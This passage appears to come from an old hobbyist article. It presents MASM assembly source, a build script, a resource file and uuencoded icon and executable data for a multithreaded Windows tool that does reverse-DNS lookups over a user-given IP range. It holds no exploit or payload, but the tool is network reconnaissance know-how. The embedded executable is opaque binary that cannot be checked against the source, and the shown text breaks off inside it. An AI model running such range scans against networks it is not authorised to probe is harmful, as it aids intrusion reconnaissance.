pMemory DWORD ?
HwndIP1 dd ?
wsadata WSADATA <>
TimerID dd ?
icce INITCOMMONCONTROLSEX <>
ofn OPENFILENAME <>
hFile HANDLE ?
SizeReadWrite dd ?
MaxThreads dd ?
hInstance HINSTANCE ?
CommandLine LPSTR ?
MainHWND HWND ?
hwndProgress HANDLE ?
IsScan dd ?
MemSize dd ?
.const
IDD_DIALOGBAR equ 103
IDC_RESULTEDIT equ 1000
IDC_IPADDRESS1 equ 1003
IDC_IPADDRESS2 equ 1005
IDC_SCAN equ 1006
IDC_EXIT equ 1007
IDC_CLEAR equ 1001
IDC_SAVE equ 1002
IDC_MAXTHREDIT equ 1008
IDC_PROGRESS equ 1010
ICON_1 equ 500
WM_NOTIFYFROMTHREAD equ WM_USER + 100h
CRLF db 0dh, 0ah, 0
.code
WinMain proc hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hDlg:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra, NULL
mov wc.cbWndExtra, DLGWINDOWEXTRA
push hInst
pop wc.hInstance
mov wc.hbrBackground, COLOR_BTNFACE+1
mov wc.lpszMenuName, NULL
mov wc.lpszClassName, OFFSET ClassName
invoke LoadIcon, hInst, ICON_1
mov wc.hIcon, eax
mov wc.hIconSm, eax
invoke LoadCursor,NULL, IDC_ARROW
mov wc.hCursor, eax
invoke RegisterClassEx, addr wc
invoke CreateDialogParam,hInst, ADDR DlgName, NULL, NULL, NULL
mov hDlg, eax
mov MainHWND, eax
invoke ShowWindow, hDlg, SW_SHOWNORMAL
invoke UpdateWindow, hDlg
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke IsDialogMessage, hDlg, ADDR msg
.IF eax ==FALSE
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDIF
.ENDW
mov eax, msg.wParam
ret
WinMain endp
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.if uMsg == WM_DESTROY
call WSACleanup
invoke PostQuitMessage, 0
xor eax, eax
ret
.elseif uMsg == WM_CLOSE
call WSACleanup
invoke DefWindowProc, hWnd, uMsg, wParam, lParam
xor eax, eax
ret
.elseif uMsg == WM_NOTIFYFROMTHREAD
invoke SendMessage, hwndProgress, PBM_STEPIT, 0, 0
inc ThreadCounter
mov eax, ThreadCounter
.if eax == IPRange
invoke KillTimer, hWnd, TimerID
invoke SendMessage, hwndProgress, PBM_SETPOS, 0, 0
mov edi, pMemory
add edi, MemSize
xor eax, eax
mov [edi], al
invoke SetDlgItemText, hWnd, IDC_RESULTEDIT, pMemory
invoke GlobalUnlock, pMemory
invoke GlobalFree, hMemory
invoke lstrcpy, offset buff, offset mes1
invoke lstrcat, offset buff, offset CRLF
invoke lstrcat, offset buff, offset TimeMes1
invoke dwtoa, Time, offset TimeBuff
invoke lstrcat, offset buff, offset TimeBuff
invoke lstrcat, offset buff, offset TimeMes2
invoke MessageBox, NULL, ADDR buff, OFFSET AppName, MB_OK
invoke SetFocus, HwndIP1
xor eax, eax
mov IsScan, eax
mov IPRange, eax
mov pMemory, eax
mov TimerID, eax
mov SizeReadWrite, 0
mov MaxThreads, 0
mov ThreadCounter, eax
mov ThreadID, eax
mov IP1, eax
mov IP2, eax
.endif
xor eax, eax
ret
.elseif uMsg == WM_CTLCOLOREDIT
invoke SetTextColor, wParam, Green
invoke SetBkColor, wParam, Black
invoke GetStockObject, BLACK_BRUSH
ret
.elseif uMsg == WM_TIMER
mov eax, ThreadCounter
.if eax < IPRange
inc Time
.endif
.elseif uMsg == WM_CREATE
mov icce.dwSize, SIZEOF INITCOMMONCONTROLSEX
mov icce.dwICC, ICC_INTERNET_CLASSES
invoke InitCommonControlsEx, offset icce
invoke CreateWindowEx, NULL, ADDR IPAdressClass, NULL, WS_VISIBLE or WS_CHILD or WS_TABSTOP,\
343, 27, 125, 20, hWnd, IDC_IPADDRESS1, hInstance, NULL
mov HwndIP1, eax
invoke SetFocus, eax
invoke CreateWindowEx, NULL, ADDR IPAdressClass, NULL, WS_VISIBLE or WS_CHILD or WS_TABSTOP,\
343, 70, 125, 20, hWnd, IDC_IPADDRESS2, hInstance,NULL
mov HwndIP2, eax
invoke WSAStartup, 101h, offset wsadata
.if eax != 0
invoke MessageBox, NULL, ADDR error_wsanotinit, OFFSET Err, MB_OK or MB_ICONERROR
invoke SendMessage, hWnd, WM_DESTROY, NULL, NULL
.endif
invoke socket, AF_INET, SOCK_STREAM, 0
.if eax == -1
invoke MessageBox, NULL, ADDR error_socknotopen, OFFSET Err, MB_OK or MB_ICONERROR
invoke SendMessage, hWnd, WM_DESTROY, NULL, NULL
.endif
mov ofn.lStructSize,SIZEOF ofn
push hWnd
pop ofn.hWndOwner
push hInstance
pop ofn.hInstance
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buff
mov ofn.nMaxFile, 260
invoke CreateWindowEx, NULL, ADDR ProgressClass, NULL,\
WS_CHILD+WS_VISIBLE+PBS_SMOOTH, 8,\
243, 460, 15, hWnd, IDC_PROGRESS,\
hInstance, NULL
mov hwndProgress,eax
xor eax, eax
ret
.elseif uMsg == WM_COMMAND
mov eax, wParam
.if ax == IDC_SCAN
invoke SendDlgItemMessage, hWnd, IDC_IPADDRESS1, IPM_ISBLANK, 1, offset IP1
mov ebx, eax
invoke SendDlgItemMessage, hWnd, IDC_IPADDRESS2, IPM_ISBLANK, 1, offset IP2
.if (eax || ebx )
invoke MessageBox, NULL, ADDR error_incorrectIP, OFFSET Err, MB_OK or MB_ICONERROR
invoke SetFocus, HwndIP1
xor eax, eax
ret
.endif
xor eax, eax
.if IsScan == 0
inc eax
mov IsScan, eax
.elseif
ret
.endif
invoke GetDlgItemText, hWnd, IDC_MAXTHREDIT, offset buff, 32
.if eax == 0
mov MaxThreads, 50 ; default value
.elseif
invoke atodw, offset buff
mov MaxThreads, eax
.endif
invoke SetDlgItemText, hWnd, IDC_RESULTEDIT, NULL
invoke SendDlgItemMessage, hWnd, IDC_IPADDRESS1, IPM_GETADDRESS, 1, offset IP1
invoke SendDlgItemMessage, hWnd, IDC_IPADDRESS2, IPM_GETADDRESS, 1, offset IP2
mov eax, IP1
.if (eax > IP2)
invoke MessageBox, NULL, ADDR error_incorrectIP, OFFSET Err, MB_OK or MB_ICONERROR
invoke SetFocus, HwndIP1
xor eax, eax
ret
.endif
and Time, 0
invoke SetTimer, hWnd, 1, 1000, NULL
mov TimerID, eax
inc IP2
and ThreadCounter, 0
mov eax, IP2
sub eax, IP1
mov IPRange, eax
shl eax, 6
inc eax
mov MemSize, eax
invoke GlobalAlloc, GMEM_MOVEABLE, MemSize
.if eax == NULL
invoke MessageBox, NULL, offset error_cantallocatemem, offset Err, MB_OK or MB_ICONERROR
xor eax, eax
ret
.endif
mov hMemory, eax
invoke GlobalLock, hMemory
mov pMemory, eax
mov ecx, MemSize
dec ecx
mov dx, 2020h
loop1:
mov [ecx + eax], dx
loop loop1
push IP1
pop IP2
mov edx, offset WorkThreadProc
invoke CreateThread, NULL, NULL, edx, NULL, 0, ADDR ThreadID
inc ThreadID
mov eax, IPRange
shl eax, 16
invoke SendMessage, hwndProgress, PBM_SETRANGE, 0, eax
invoke SendMessage, hwndProgress, PBM_SETSTEP, 1, 0
xor eax, eax
ret
.elseif ax == IDC_CLEAR
invoke SendDlgItemMessage, hWnd, IDC_IPADDRESS1, IPM_CLEARADDRESS, 0, 0
invoke SendDlgItemMessage, hWnd, IDC_IPADDRESS2, IPM_CLEARADDRESS, 0, 0
invoke SetDlgItemText, hWnd, IDC_RESULTEDIT, NULL
invoke SetFocus, HwndIP1
xor eax, eax
ret
.elseif ax == IDC_SAVE
.if IsScan != 0
xor eax, eax
ret
.endif
invoke RtlZeroMemory,offset buff, 32
mov ofn.Flags,OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetSaveFileName, ADDR ofn
.if eax == TRUE
invoke CreateFile,ADDR buff,\
GENERIC_READ or GENERIC_WRITE ,\
FILE_SHARE_READ or FILE_SHARE_WRITE,\
NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_ARCHIVE, NULL
mov hFile,eax
invoke GlobalAlloc, GMEM_MOVEABLE or GMEM_ZEROINIT, MemSize
mov hMemory, eax
invoke GlobalLock, hMemory
mov pMemory, eax
invoke GetDlgItemText, hWnd, IDC_RESULTEDIT, pMemory, MemSize
invoke WriteFile, hFile, pMemory, eax, ADDR SizeReadWrite, NULL
invoke CloseHandle, hFile
invoke GlobalUnlock, pMemory
invoke GlobalFree, hMemory
.elseif
invoke MessageBox, NULL, offset error_notsaved, offset Err, MB_OK or MB_ICONERROR
.endif
invoke SetFocus, HwndIP1
xor eax, eax
ret
.elseif ax == IDC_EXIT
invoke SendMessage,hWnd, WM_DESTROY, NULL, NULL
xor eax, eax
ret
.endif
.if lParam == 0
invoke DestroyWindow, hWnd
.endif
.else
invoke DefWindowProc, hWnd, uMsg, wParam, lParam
ret
.endif
xor eax, eax
ret
WndProc endp
IPtoString proc IP:DWORD,lpBuffer:DWORD
LOCAL dot [4]:BYTE
LOCAL val1[4]:BYTE
LOCAL val2[4]:BYTE
LOCAL val3[4]:BYTE
LOCAL val4[4]:BYTE
LOCAL spc[2]:BYTE
push esi
push edi
mov WORD PTR spc, 20h
mov DWORD PTR dot, 2Eh
movzx esi, BYTE PTR IP[3]
invoke dwtoa,esi,ADDR val1
movzx esi, BYTE PTR IP[2]
invoke dwtoa,esi,ADDR val2
movzx esi, BYTE PTR IP[1]
invoke dwtoa,esi,ADDR val3
movzx esi, BYTE PTR IP[0]
invoke dwtoa,esi,ADDR val4
mov edi, lpBuffer
mov BYTE PTR [edi], 0
invoke szMultiCat,8,lpBuffer,ADDR val1,ADDR dot,ADDR val2,ADDR dot,
ADDR val3,ADDR dot,ADDR val4, ADDR spc
pop edi
pop esi
ret
IPtoString endp
WorkThreadProc PROC Param:DWORD
LOCAL tmpIP:DWORD
xor ebx, ebx
mov ecx, IPRange
w_loop1:
push ecx
push ebx
invoke IPtoString, IP1, offset buff
mov eax, IP1
sub eax, IP2
shl eax, 6
add eax, pMemory
invoke lstrcpy, eax, offset buff
makeIP IP1, tmpIP
mov edx, offset ThreadProc
invoke CreateThread, NULL, NULL, edx, tmpIP, 0, ADDR ThreadID
inc ThreadID
inc IP1
pop ebx
inc ebx
.if ebx >= MaxThreads
mov eax, IP1
sub eax, IP2
.if MaxThreads > 10
sub eax, 10
.endif
.while ThreadCounter < eax
push eax
invoke Sleep, 100
pop eax
.endw
xor ebx, ebx
.endif
pop ecx
dec ecx
jnz w_loop1
ret
WorkThreadProc endp
ThreadProc PROC Param:DWORD
LOCAL curIP:DWORD
LOCAL tmpIP:DWORD
LOCAL MemOffset:DWORD
LOCAL IPlen:DWORD
mov eax, Param
mov curIP, eax
makeIP curIP, tmpIP
mov eax, tmpIP
sub eax, IP2
shl eax, 6
add eax, pMemory
mov MemOffset, eax
IPstrlen tmpIP, IPlen
invoke gethostbyaddr, ADDR curIP, 4, AF_INET
test eax, eax
jz host_not_found
mov ecx, MemOffset
add ecx, IPlen
invoke lstrcpy, ecx , [eax]
jmp short thread_return
host_not_found:
mov eax, MemOffset
add eax, IPlen
invoke lstrcpy, eax , offset not_found
thread_return:
AddNewLine MemOffset
invoke SendMessage, MainHWND, WM_NOTIFYFROMTHREAD, NULL, NULL
ret
ThreadProc endp
main:
invoke GetModuleHandle, NULL
mov hInstance, eax
invoke GetCommandLine
mov CommandLine, eax
invoke WinMain, hInstance, NULL, CommandLine, SW_SHOWDEFAULT
invoke ExitProcess, eax
end main
---< cut here >---
V.II make.bat
---< cut here >---
@echo off
ml /c /Cp /coff /nologo ips.asm
rc.exe ips.rc
link /subsystem:windows /RELEASE /ignore:4078 /nologo /merge:.text=.data ips.obj ips.res kernel32.lib user32.lib gdi32.lib masm32.lib ws2_32.lib comctl32.lib comdlg32.lib
@echo on
---< cut here >---
V.III IPS.RC
---< cut here >---
#include "resource.h"
#define IDC_RESULTEDIT 1000
#define IDC_MAXTHREDIT 1008
#define IDC_SAVE 1002
#define IDC_SCAN 1006
#define IDC_EXIT 1007
#define IDC_CLEAR 1001
#define IDC_STATIC -1
IPS DIALOG 65, 81, 316, 161
STYLE 0x804L | WS_OVERLAPPED | WS_VISIBLE | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX
CLASS "DLGCLASS"
CAPTION "IP Scaner by Shmel"
FONT 8, "MS Sans Serif"
{
LTEXT "Start IP", IDC_STATIC, 230, 7, 28, 9, NOT WS_GROUP
LTEXT "End IP", IDC_STATIC, 230, 32, 24, 9, NOT WS_GROUP
EDITTEXT IDC_MAXTHREDIT, 272, 62, 24, 11
DEFPUSHBUTTON "S&can", IDC_SCAN, 239, 80, 56, 14
PUSHBUTTON "&Save as...", IDC_SAVE, 239, 97, 56, 14
PUSHBUTTON "Cl&ear", IDC_CLEAR, 239, 114, 56, 14
PUSHBUTTON "E&xit", IDC_EXIT, 239, 131, 56, 14, WS_TABSTOP
EDITTEXT IDC_RESULTEDIT, 6, 7, 211, 139, ES_MULTILINE | ES_AUTOVSCROLL | ES_AUTOHSCROLL | ES_WANTRETURN | NOT WS_TABSTOP | WS_BORDER | WS_VSCROLL
LTEXT "Max Threads", -1, 225, 63, 44, 12
}
500 ICON "shmel.ico"
---< cut here >---
V.IV uue encoded shmel.ico
---< cut here >---
begin 644 Shmel.ico
M```!``$`("`0``````#H`@``%@```"@````@````0`````$`!```````@`(`
M``````````````````````````````"```"`````@(``@````(``@`"`@```
M@("``,#`P````/\``/\```#__P#_````_P#_`/__``#___\`````````````
M````````````````````````````````````````````````````````````
M``````````````JJJJJJJJJJJ@`````````*JJJJJJJJJJJJ`````````*JJ
MJJJJJJJJJJ`````````*JJJJJJJJJJJJ`````````*JJJJJJJJJJJJ``````
M```*JJJJ````"JJJ`````````*JJH`````"JJJ`````````*J@`````*JJJJ
M`````````*``````JJJJJ@``````````````"JJJJJH`````````````"JJJ
MJJJJ````````````"JJJJJJJJ@```````````*JJJJJJJJH```````````JJ
MJJJJJJJ@``````````"JJJJJJJJJ```````````*JJJJJJJJ````````````
MJJJJJJJJ`````````````*JJJJJJH``````````````*JJJJJ@```*H`````
M`````*JJJJ````JJH``````````*JJH```"JJJH``````````*JJH``*JJJJ
MH``````````*JJJJJJJJJJH``````````*JJJJJJJJJJ```````````*JJJJ
MJJJJH````````````*JJJJJJJJ`````````````*JJJJJJH`````````````
M``````````#_______________\``!__```/_P``!_^```/_P``!_^```/_P
M``!_^`_@/_P?P!_^/X`?_WX`'__X`!__\``?_^``'__``#__@`!__P``__X`
M`__^``\__P`>'_^`/`__P'@'_^```__P``'_^``!__P``__^``/__P`'__^`
!#P``
`
end
sum -r/size 25106/766
---< cut here >---
V.V uue encoded ips.exe
---< cut here >---
begin 644 ips.exe
M35J0``,````$````__\``+@`````````0```````````````````````````
M````````````````````P`````X?N@X`M`G-(;@!3,TA5&AI<R!P<F]G<F%M
M(&-A;FYO="!B92!R=6X@:6X@1$]3(&UO9&4N#0T*)``````````CXA`Z9X-^
M:6>#?FEG@WYIZ9QM:5N#?FF;HVQI8X-^::"%>&EF@WYI4FEC:&>#?FD`````
M````````````````4$4``$P!`P`1N%)"``````````#@``\!"P$%#```````
M'````````'8K````$````!``````0```$`````(```0`````````!```````
M````0`````0``&>P```"```````0```0`````!```!`````````0````````
M``````#4$```C``````P``"X!0``````````````````````````````````
M````````````````````````````````````````````````````````````
M`````!```-`````````````````````````````````````N<F1A=&$``%(%
M````$`````8````$``````````````````!```!`+F1A=&$```#"#P```"``
M```.````"@``````````````````0```P"YR<W)C````N`4````P````!@``
M`!@``````````````````$```$``````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````````````````````````````````````H5````````,!4`
M``````"N%```H!0``(X4````````K!(``+H2``#*$@``GA(``.(2``#N$@``
M^A(``)`2``!\$@``:A(``%P2``!,$@``/A(``-H2```P$@```````)(3``"F
M$P``A!,``,`3``#,$P``VA,``.P3````%```%A0``"84```X%```1!0``%`4
M``!>%```<A0``'(3``!>$P``3A,``#P3```4$P``*A,``+(3````````Y!0`
M`-84``#(%```]!0````````-"@``@!$`````````````!A,``"`0``#`$0``
M``````````""%```8!```'`1`````````````+X4```0$```'!(`````````
M````_A0``+P0``!@$0`````````````B%0```!```&@1`````````````$05
M```($``````````````````````````````*%0```````#`5````````KA0`
M`*`4``".%````````*P2``"Z$@``RA(``)X2``#B$@``[A(``/H2``"0$@``
M?!(``&H2``!<$@``3!(``#X2``#:$@``,!(```````"2$P``IA,``(03``#`
M$P``S!,``-H3``#L$P```!0``!84```F%```.!0``$04``!0%```7A0``'(4
M``!R$P``7A,``$X3```\$P``%!,``"H3``"R$P```````.04``#6%```R!0`
M`/04````````&@!#;&]S94AA;F1L90`P`$-R96%T949I;&5!`$8`0W)E871E
M5&AR96%D``"``$5X:710<F]C97-S`,@`1V5T0V]M;6%N9$QI;F5!``D!1V5T
M36]D=6QE2&%N9&QE00``9P%';&]B86Q!;&QO8P!N`4=L;V)A;$9R964``'(!
M1VQO8F%L3&]C:P``>0%';&]B86Q5;FQO8VL```L"4G1L6F5R;TUE;6]R>0!@
M`E-L965P`)X"5W)I=&5&:6QE`+4";'-T<F-A=$$``+L";'-T<F-P>4$``&ME
M<FYE;#,R+F1L;```2@!#<F5A=&5$:6%L;V=087)A;4$``%0`0W)E871E5VEN
M9&]W17A!`'X`1&5F5VEN9&]W4')O8T$``(<`1&5S=')O>5=I;F1O=P",`$1I
M<W!A=&-H365S<V%G94$``/0`1V5T1&QG271E;51E>'1!`!D!1V5T365S<V%G
M94$`<`%)<T1I86QO9TUE<W-A9V5!``![`4MI;&Q4:6UE<@"``4QO861#=7)S
M;W)!`(0!3&]A9$EC;VY!`)T!365S<V%G94)O>$$`OP%0;W-T475I=$UE<W-A
M9V4`R`%296=I<W1E<D-L87-S17A!``#=`5-E;F1$;&=)=&5M365S<V%G94$`
MX@%396YD365S<V%G94$``/@!4V5T1&QG271E;51E>'1!`/L!4V5T1F]C=7,`
M`!<"4V5T5&EM97(``"T"4VAO=U=I;F1O=P``0@)4<F%N<VQA=&5-97-S86=E
M``!.`E5P9&%T95=I;F1O=P``=7-E<C,R+F1L;```W0!'9713=&]C:T]B:F5C
M=```-`%3971":T-O;&]R``!9`5-E=%1E>'1#;VQO<@``9V1I,S(N9&QL``X`
M5U-!0VQE86YU<```/P!74T%3=&%R='5P``!2`&=E=&AO<W1B>6%D9'(`:P!S
M;V-K970``'=S,E\S,BYD;&P``#\`26YI=$-O;6UO;D-O;G1R;VQS17@``&-O
M;6-T;#,R+F1L;```#`!'9713879E1FEL94YA;65!``!C;VUD;&<S,BYD;&P`
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````!$3$=#3$%34P!)4%,`25!3`%-Y<TE0061D<F5S<S,R`&US
M8W1L<U]P<F]G<F5S<S,R`$5R<F]R`$EN8V]R<F5C="!3=&%R="]%;F0@25``
M0V%N)W0@;W!E;B!S;V-K970`5U-!(&YO="!I;FET:6%L:7IE9`!#86XG="!A
M;&QO8V%T92!M96UO<GD`1FEL92!N;W0@<V%V960`/CX^/CX^/CX^;F]T(&9O
M=6YD/#P\/#P\/#P\`%-C86X@8V]M<&QE=&5D````````5&EM93H@`"!S96,`
M5&5X="!&:6QE<P`J+G1X=`!!;&P@1FEL97,`*BXJ`````%6+[(/$L,=%T#``
M``#'1=0#````QT78XB%``,=%W`````#'1>`>````_W4(CT7DQT7P$````,=%
M]`````#'1?@0($``:/0!``#_=0CHY0H``(E%Z(E%_&@`?P``:@#HS0H``(E%
M[(U%T%#HV0H``&H`:@!J`&@9($``_W4(Z'@*``")1;"CLB]``&H!_W6PZ-@*
M``#_=;#HW`H``&H`:@!J`(U%M%#H<PH```O`="2-1;10_W6PZ&D*```+P'42
MC46T4.BJ"@``C46T4.A!"@``Z\F+1;S)PA``58OL@WT,`G47Z&H+``!J`.A3
M"@``,\#)PA``Z0@'``"#?0P0=2'H30L``/]U%/]U$/]U#/]U".CP"0``,\#)
MPA``Z>$&``"!?0P`!0``#X5(`0``:@!J`&@%!```_S6V+T``Z!(*``#_!0`@
M0`"A`"!``#L%H"U```^%$@$``/\U1B]``/]U".C#"0``:@!J`&@"!```_S6V
M+T``Z-D)``"+/;`M0``#/;XO0``SP(@'_S6P+4``:.@#``#_=0CHO`D``/\U
ML"U``.@M"0``_S6L+4``Z!8)``!HQB!``&B`+4``Z#$)``!HT!!``&B`+4``
MZ!P)``!HVB!``&B`+4``Z`T)``!HU2!``/\UJ"U``.C7"0``:-4@0`!H@"U`
M`.CN"```:.$@0`!H@"U``.C?"```:@!H'2!``&B`+4``:@#H&@D``/\UM"U`
M`.@S"0``,\"CNB]``*.@+4``H[`M0`"C1B]``,<%HB]```````#'!:8O0```
M````HP`@0`"C!"!``*,(($``HPP@0``SP,G"$`#IC`4``(%]##,!``!U)V@`
M_P``_W40Z/X(``!J`/]U$.CN"```:@3HX0@``,G"$`#I7`4``(%]#!,!``!U
M'*$`($``.P6@+4``#X-"!0``_P6H+4``Z3<%``"#?0P!#X5M`0``QP5*+T``
M"````,<%3B]````(``!H2B]``.AW"0``:@#_-:HO0`!HZP,``/]U"&H4:GUJ
M&VA7`0``:````5!J`&@A($``:@#HWP<``*.T+4``4.@T"```:@#_-:HO0`!H
M[0,``/]U"&H4:GUJ1FA7`0``:````5!J`&@A($``:@#HI@<``*.D+4``:+@M
M0`!H`0$``.CJ"```"\!T(6H0:$(@0`!H<2!``&H`Z+<'``!J`&H`:@+_=0CH
MP0<``&H`:@%J`NC&"```@_C_=2%J$&A"($``:%\@0`!J`.B&!P``:@!J`&H"
M_W4(Z)`'``#'!5(O0`!,````_W4(CP56+T``_S6J+T``CP5:+T``QP5>+T``
MYB!``,<%;B]``(`M0`#'!7(O0``$`0``:@#_-:HO0`!H\@,``/]U"&H/:,P!
M``!H\P```&H(:`$``%!J`&@P($``:@#HS@8``*.V+T``,\#)PA``Z<`#``"!
M?0P1`0``#X6>`P``BT409CWN`P^%$P(``&@(($``:@%H:00``&CK`P``_W4(
MZ-D&``"+V&@,($``:@%H:00``&CM`P``_W4(Z+X&```+P'4$"]MT)&H0:$(@
M0`!H2"!``&H`Z)$&``#_-;0M0`#HJ@8``#/`R<(0`#/`@SVZ+T```'4(0*.Z
M+T``ZP3)PA``:B!H@"U``&CP`P``_W4(Z#$&```+P'4,QP6F+T``,@```.L/
M:(`M0`#HCP8``*.F+T``:@!HZ`,``/]U".A%!@``:`@@0`!J`6AF!```:.L#
M``#_=0CH(`8``&@,($``:@%H9@0``&CM`P``_W4(Z`<&``"A""!``#L%#"!`
M`'8D:A!H0B!``&A(($``:@#HU04``/\UM"U``.CN!0``,\#)PA``@R6H+4``
M`&H`:.@#``!J`?]U".C6!0``HT8O0`#_!0P@0`"#)0`@0```H0P@0``K!0@@
M0`"CH"U``,'@!D"COB]``/\UOB]``&H"Z/P$```+P'49:A!H0B!``&B%($``
M:@#H704``#/`R<(0`*.L+4``_S6L+4``Z-L$``"CL"U``(L-OB]``$EFNB`@
M9HD4".+Z_S4(($``CP4,($``NI8I0`!H!"!``&H`:@!2:@!J`.A]!```_P4$
M($``H:`M0`#!X!!0:@!H`00``/\UMB]``.@$!0``:@!J`6@$!```_S6V+T``
MZ/`$```SP,G"$`#I;@$``&8]Z0-U46H`:@!H9`0``&CK`P``_W4(Z,,$``!J
M`&H`:&0$``!H[0,``/]U".BM!```:@!HZ`,``/]U".BJ!```_S6T+4``Z*4$
M```SP,G"$`#I%P$``&8]Z@,/A?,```"#/;HO0```=`8SP,G"$`!J(&B`+4``
MZ/$#``#'!88O0``$`"@`:%(O0`#H<04``(/X`0^%E0```&H`:B!J`FH`:@-H
M````P&B`+4``Z(4#``"CGB]``/\UOB]``&I"Z)$#``"CK"U``/\UK"U``.B-
M`P``H[`M0`#_-;XO0`#_-;`M0`!HZ`,``/]U".BW`P``:@!HHB]``%#_-;`M
M0`#_-9XO0`#H;@,``/\UGB]``.@;`P``_S6P+4``Z$8#``#_-:PM0`#H+P,`
M`.L3:A!H0B!``&B;($``:@#HC`,``/\UM"U``.BE`P``,\#)PA``ZQIF/>\#
M=11J`&H`:@+_=0CH?0,``#/`R<(0`(-]%`!U'_]U".@A`P``ZQ7_=13_=1#_
M=0S_=0CH"`,``,G"$``SP,G"$`!5B^R#Q.A65V;'1>H@`,=%_"X````/MG4+
MC47X4%;HG0,```^V=0J-1?105NB/`P``#[9U"8U%\%!6Z($#```/MG4(C47L
M4%;H<P,``(M]#,8'`(U%ZE"-1>Q0C47\4(U%\%"-1?Q0C47T4(U%_%"-1?A0
M_W4,:@CHGP,``(/$*%]>R<((`%6+[(/$_#/;BPV@+4``45-H@"U``/\U""!`
M`.A:____H0@@0``K!0P@0`#!X`8#!;`M0`!H@"U``%#H)P(``%"A""!``(E%
M_(I%_(IE_XA%_XAE_(I%_8IE_HA%_HAE_5BZ7BI``&@$($``:@#_=?Q2:@!J
M`.BD`0``_P4$($``_P4(($``6T,[':8O0`!R+*$(($``*P4,($``@SVF+T``
M"G8#@^@*ZPE0:F3HHP$``%@Y!0`@0`!R[S/;64D/A4K____)P@0`58OL@\3P
MBT4(B47\4(M%_(E%^(I%^(IE^XA%^XAE^(I%^8IE^HA%^HAE^5B+1?@K!0P@
M0`#!X`8#!;`M0`")1?3'1?`$````BD7X/`EW!?]%\.L./&-W!H-%\`+K!(-%
M\`.*1?D\"7<%_T7PZPX\8W<&@T7P`NL$@T7P`XI%^CP)=P7_1?#K#CQC=P:#
M1?`"ZP2#1?`#BD7[/`EW!?]%\.L./&-W!H-%\`+K!(-%\`-J`FH$C47\4.A+
M`@``A<!T$(M-]`--\/\P4>C/````ZQ&+1?0#1?!HJB!``%#HO````(M]]$^R
M(+D^````B@>$P'4"B!='XO5'9KH-"F:)%VH`:@!H``4``/\ULB]``.CJ````
MR<($`&H`Z$D```"CJB]``.@Y````HZXO0`!J"O\UKB]``&H`_S6J+T``Z&?U
M__]0Z!,```#,_R58$$``_R50$$``_R5,$$``_R5($$``_R5$$$``_R5`$$``
M_R4\$$``_R4L$$``_R4@$$``_R4D$$``_R4H$$``_R54$$``_R4P$$``_R4T
M$$``_R4X$$``_R6L$$``_R6P$$``_R6H$$``_R6D$$``_R6@$$``_R6<$$``
M_R5H$$``_R5@$$``_R5D$$``_R6T$$``_R5L$$``_R5P$$``_R5T$$``_R5X
M$$``_R5\$$``_R6`$$``_R6$$$``_R6($$``_R6,$$``_R60$$``_R64$$``
M_R68$$``_R48$$``_R44$$``_R40$$``58OL5E<SP(MU"#/),]**!D8\`G42
MB@;WTD;K"RPPC0R)C0Q(B@9&"L!U\8T$$3/"7U[)P@0`S,Q5B^Q35E>+10B+
M?0P+P'4'9L<',`#K/'D&Q@<M]]A'N9J9F1F+]^L3B]CWX8O"C122`](KVH##
M,(@?1X/X`'?HQ@<`ZPI/B@:*)X@'B"9&._=R\E]>6\G""`#,S%6+[%97BWT,
M,\F-51!/1XH'"L!U^4^+-(I'B@:(!T8*P'7V03M-"'7L7U[)P\S_)<000`#_
M)<`00`#_);P00`#_)<@00`#_)0`00`#_)0@00```````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M```````````````````````````````````````````````````#``,````H
M``"`!0```$```(`.````6```@````````````````````0`!````<```@```
M``````````````$```#H``"`B```@````````````````````0#T`0``H```
M@````````````````````0`)!```N````````````````````````0`)!```
MR````````````````````````0`)!```V````+@R``#H`@````````````#P
M,```R`$`````````````H#4``!0```````````````,`20!0`%,`1`C*$```
M```)`$$`40`\`:$```!$`$P`1P!#`$P`00!3`%,```!)`%``(`!3`&,`80!N
M`&4`<@`@`&(`>0`@`%,`:`!M`&4`;`````@`30!3`"``4P!A`&X`<P`@`%,`
M90!R`&D`9@``````````4`````#F``<`'``)`/____^"`%,`=`!A`'(`=``@
M`$D`4`````````````!0`````.8`(``8``D`_____X(`10!N`&0`(`!)`%``
M``````````"!4``````0`3X`&``+`/`#__^!``````````$``5``````[P!0
M`#@`#@#N`___@`!3`"8`8P!A`&X``````````5``````[P!A`#@`#@#J`___
M@``F`%,`80!V`&4`(`!A`',`+@`N`"X``````````5``````[P!R`#@`#@#I
M`___@`!#`&P`)@!E`&$`<@````````````%0`````.\`@P`X``X`[P/__X``
M10`F`'@`:0!T``````#$$*!0``````8`!P#3`(L`Z`/__X$````````````"
M4`````#A`#\`+``,`/____^"`$T`80!X`"``5`!H`'(`90!A`&0`<P``````
M*````"````!``````0`$``````"``@``````````````````````````````
M`(```(````"`@`"`````@`"``("```"`@(``P,#`````_P``_P```/__`/\`
M``#_`/\`__\``/___P``````````````````````````````````````````
M````````````````````````````````````````````"JJJJJJJJJJJ````
M``````JJJJJJJJJJJJH`````````JJJJJJJJJJJJH`````````JJJJJJJJJJ
MJJH`````````JJJJJJJJJJJJH`````````JJJJH````*JJH`````````JJJ@
M`````*JJH`````````JJ``````JJJJH`````````H`````"JJJJJ````````
